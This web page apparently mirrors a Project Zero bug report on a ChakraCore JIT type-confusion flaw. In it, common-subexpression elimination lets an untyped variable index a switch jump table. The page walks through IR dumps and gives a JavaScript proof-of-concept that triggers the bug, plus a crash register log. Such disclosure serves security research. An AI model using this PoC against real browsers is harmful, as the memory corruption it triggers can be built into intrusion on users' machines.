扫码分享
验证：
体验盒子
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 | /* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1341&desc=3 Let's start with a switch statement and its IR code for JIT. JS: for (let i = 0; i <; 100; i++) { switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } } IRs before Type Specialization: s26.var =Ld_A s24.var - "i" #0011Bailout: #0011 (BailOutExpectingInteger) BrLt_A $L2, s26.var, s5.var#0070 $L9:#0070 BrGt_A $L2, s26.var, s23.var #0070 $L8:#0070 s28.var =Sub_As26.var, 2 (0x2).i32#0070// Because of the minimum case is 2, subtracting 2 from i. s28 is a temporary variable. MultiBr..., s28.var #0070 IRs after Type Specialization: s52(s26).i32=Ld_A s51(s24).i32 - "i"#0011 BrLt_I4$L2, s51(s24).i32, 2 (0x2).i32#0070 $L9:#0070 BrGt_I4$L2, s51(s24).i32, 38 (0x26).i32#0070 $L8:#0070 s53(s28).i32=Sub_I4 s51(s24).i32, 2 (0x2).i32 #0070 MultiBr..., s53(s28).i32! #0070 MultiBr instructions' offset operand(s28 in the above) must be of type Int32. If not, type confusion will occur. The way to ensure it is to use BailOutExpectingInteger. In the above code, "s26" is ensured to be of type Int32 by the bailout. So, the other variables affected by "s26" including the offset variable "s28" are also ensured to be of type Int32. What I noticed is "s28.var = Sub_A s26.var, 2 (0x2).i32". If we declare a variable "j" with "i - 2", the offset variable "s28" will be replaced with "j" in the CSE phase. JS: for (let i = 0; i < 100; i++) { let j = i - 2; switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } } IR: Line 3: let j = i - 2; Col9: ^ StatementBoundary#2#0013 s55(s28).i32=Sub_I4 s54(s24).i32, 2 (0x2).i32 #0013 Line 4: switch (i) { Col9: ^ StatementBoundary#3#001a// BailOutExpectingInteger BrLt_I4$L2, s54(s24).i32, 2 (0x2).i32#0079 BrGt_I4$L2, s54(s24).i32, 38 (0x26).i32#0079 MultiBr..., s55(s28).i32! #0079 The offset variable is replaced with "j" that is not ensured to be of type Int32. CORRECTION: The bug was that it tried to ensure the type using BailOutExpectingInteger, even if "i" was not always of type Int32. It was bypassed with the CSE phase. So if we created a case where "j" couldn't be of type Int32, type confusion occurred. JS: for (let i = 0; i < 100; i++) { let j = i - 2; switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } if (i == 39) i = 'aaaa'; } IR: Line 3: let j = i - 2; Col9: ^ StatementBoundary#2#0013 s30[LikelyCanBeTaggedValue_Int].var = Sub_As26[LikelyCanBeTaggedValue_Int_Number].var, 0x1000000000002.var #0013 s27[LikelyCanBeTaggedValue_Int].var = Ld_As30[isTempLastUse][LikelyCanBeTaggedValue_Int].var! #0017 Line 4: switch (i) { Col9: ^ StatementBoundary#3#001a s63(s26).i32=FromVars26[LikelyCanBeTaggedValue_Int_Number].var #001aBailout: #001a (BailOutExpectingInteger) BrLt_I4$L4, s63(s26).i32, 2 (0x2).i32#0079 BrGt_I4$L4, s63(s26).i32, 38 (0x26).i32#0079 MultiBr..., s27[LikelyCanBeTaggedValue_Int].var #0079 It ended up to use "j" of type Var as the offset variable. PoC: */ function opt() { for (let i = 0; i < 100; i++) { let j = i - 2; switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } if (i == 90) { i = 'x'; } } } function main() { for (let i = 0; i < 100; i++) { opt(); } } main(); /* Crash Log: RAX: 0x1 RBX: 0x7ffff7e04824 --> 0x100000000 RCX: 0x3 RDX: 0x7ffff0b20667 (loope0x7ffff0b2066d) RSI: 0x80000001 RDI: 0x7ffff0c182a0 --> 0x7ffff6478a10 --> 0x7ffff5986230 (<Js::DynamicObject::Finalize(bool)>: push rbp) RBP: 0x7fffffff2130 --> 0x7fffffff21b0 --> 0x7fffffff2400 --> 0x7fffffff2480 --> 0x7fffffff24d0 --> 0x7fffffff52f0 (--> ...) RSP: 0x7fffffff20c0 --> 0x1111015500000002 RIP: 0x7ffff0b204da (movrdx,QWORD PTR [rdx+r13*8]) R8 : 0x0 R9 : 0x0 R10: 0x7ffff0b20400 (movabs rax,0x555555879018) R11: 0x206 R12: 0x7fffffff5580 --> 0x7ffff0ba0000 --> 0xeb021a471b4f1a4f R13: 0x1000000000001 << Var 1 R14: 0x1000000000003 R15: 0x7ffff0c79040 --> 0x7ffff643c050 --> 0x7ffff5521130 (<Js::RecyclableObject::Finalize(bool)>:push rbp) EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff0b204cb:cmpecx,0x26 0x7ffff0b204ce:jg 0x7ffff0b204e1 0x7ffff0b204d0:movabs rdx,0x7ffff0b20667 => 0x7ffff0b204da:movrdx,QWORD PTR [rdx+r13*8] 0x7ffff0b204de:rex.W jmp rdx We can simply think as follows. Before the CSE phase: Var j = ToVar(i - 2); int32_t offset = i - 2; jmp jump_table[offset]; After the CSE phase: Var j = ToVar(i - 2); jmp jump_table[j]; */ |
体验盒子
